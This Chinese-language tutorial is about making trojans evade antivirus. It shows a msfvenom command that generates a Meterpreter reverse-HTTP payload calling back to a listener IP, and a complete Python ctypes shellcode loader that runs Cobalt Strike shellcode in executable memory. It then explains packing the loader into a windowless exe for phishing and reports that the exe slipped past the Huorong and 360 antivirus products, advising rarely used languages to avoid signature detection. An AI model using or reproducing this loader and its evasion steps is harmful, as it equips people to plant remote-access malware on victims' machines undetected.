木马免杀(篇二)shellcode 学习
——
shellcode介绍
shellcode 是一段利用软件漏洞进行执行的机器码, 通常用汇编语言编写并被翻译为十六进制操作码,因常被攻击者用于获取系统的命令终端shell 接口,所以被称为 shellcode。
说到获取系统的命令终端shell 接口,shell 是操作系统中提供给用户用于内核交互执行任意系统命令的应用程序。
Windows操作系统中的shell 包括 命令提示符cmd 和 powershell 应用程序。
Linux操作系统中的 bash shell。比如我在 cmd 中执行 ipconfig 系统命令查看网络适配器信息(多用于查看IP)。获取到了 shell 接口就可以执行后续的任意系统命令了。
——
获取shellcode
一段shellcode 都有他的功能,比如执行弹计算器的功能、反弹shell 等等。
常见shellcode是一串十六进制机器码,常以字符串形式存储在数组类型的变量中。本质是一段汇编指令,要学习 shellcode 是怎么生成,即实现这些功能的shellcode 需要怎么写,涉及到新的领域,要学习汇编,进行编译汇编源码,提取出shellcode等步骤,会比较困难。
所以目前使用 shellcode 大多通过工具生成或网上写好了的。
网上的公开 shellcode 资源:
https://www.exploit-db.com/
cobaltstrike 工具生成 shellcode
选择监听器,选择不同语言的shellcode
msf 工具生成 shellcode
通过命令选择监听器和IP、端口等信息。
生成命令:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c
得到的文件长这样,里面是一串十六进制字符串
这里只是举了cs和msf 生成的一个shellcode例子,还有其他的多种方式或格式,比如msf还有自带的对shellcode编码的功能。
——
如何执行shellcode?
一串 shellcode 不能直接在操作系统执行,需要通过编程语言进行加载、调用才能执行。像常见的C、C#、Java、python 都能实现。
每种语言对 shellcode 进行加载的方式都大同小异,包括申请内存、将shellcode 写入内存等步骤。所以得到一个加载器的概念,通过加载器可以实现说到的写入内存等功能。
这里学习使用python语言编写加载器执行 shellcode
python 编写 shellcode 加载器
这里用 cs 直接生成的 c 语言编写的 shellcode的一个片段展示:
\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48
使用 python 编写加载器执行 c 语言的 shellcode
import ctypes
buf=b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode=buf
shellcode = bytearray(shellcode)
kernel32 = ctypes.WinDLL('kernel32')
kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
——
加载器代码解读
将 shellcode 从一个字节串(bytes)对象转换为一个可变字节数组(bytearray)对象。
shellcode = bytearray(shellcode)
加载 kernel32.dll ,是 Windows 操作系统的核心动态链接库之一,包含了很多常用的系统函数。
kernel32 = ctypes.WinDLL('kernel32')
设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
kernel32.VirtualAlloc.restype=ctypes.c_unit64
调用 kernel32.dll 动态链接库的 VirtualAlloc 函数申请内存
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
里面 4 个参数的含义:
ctypes.c_int(0) 指向要分配的区域的起始地址的指针,值为null时指向系统保留其认为合适的区域
ctypes.c_int(len(shellcode)) 分配区域的大小
ctypes.c_int(0x3000) 内存分配的类型
ctypes.c_int(0x40) 要分配的页区域的内存保护,可读可写可执行
调用 kernel32.dll 动态链接库的 RtlMoveMemory 函数将 shellcode 移动到申请的内存中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
三个参数含义:
ctypes.c_uint64(ptr) 指向要将字节复制到的目标内存块的指针
buffer 指向要从中复制字节的源内存块的指针
ctypes.c_int(len(shellcode)) 从源复制到目标的字节数
创建线程,从 shellcode 放置位置的首地址开扫执行 shellcode
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
等待线程运行完
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
——
直接运行上面的 python 代码就可以上线 cs 。
不过如果进行钓鱼的话可以打包成 exe 文件,不需要 python 环境的依赖。
——
打包成exe
pyinstaller -F 1.py -w --name test.exe --clean
-F 参数用于将所有生成的文件(包括依赖的库和资源)打包到一个单独的可执行文件中,而不是生成一个文件夹。
-w 参数用于在打包后隐藏控制台窗口,使得生成的可执行文件在运行时不显示命令行窗口。
–name 指定生成的文件名
–clean:在打包前先清理之前的临时文件。
–upx:使用UPX来压缩可执行文件,减小文件大小。
–icon:指定打包后exe文件的图标。图标文件应该是.ico格式。
–distpath选项指定输出路径
在dist 目录下得到 test.exe 文件。双击运行即可
结果这样没有任何处理火绒和360都不杀
2023.7
vt结果:
微步结果:
————
总结
进行免杀的一个方式其实就是编写一个加载器,包括现在从github上找比较新的免杀项目也是加载器的项目。这里用的 python 加载器也是很多之前网上就能找到的,但是看到截至到2023.7免杀效果都还是可观的。一个原因是用python 去免杀的比较少,主流应该是 c 语言的,用的人多了,免杀效果自然就没那么好了。所以用比较少人用的语言编写加载器也是一种免杀途径,那些杀软的木马病毒库还没有收录那些特征。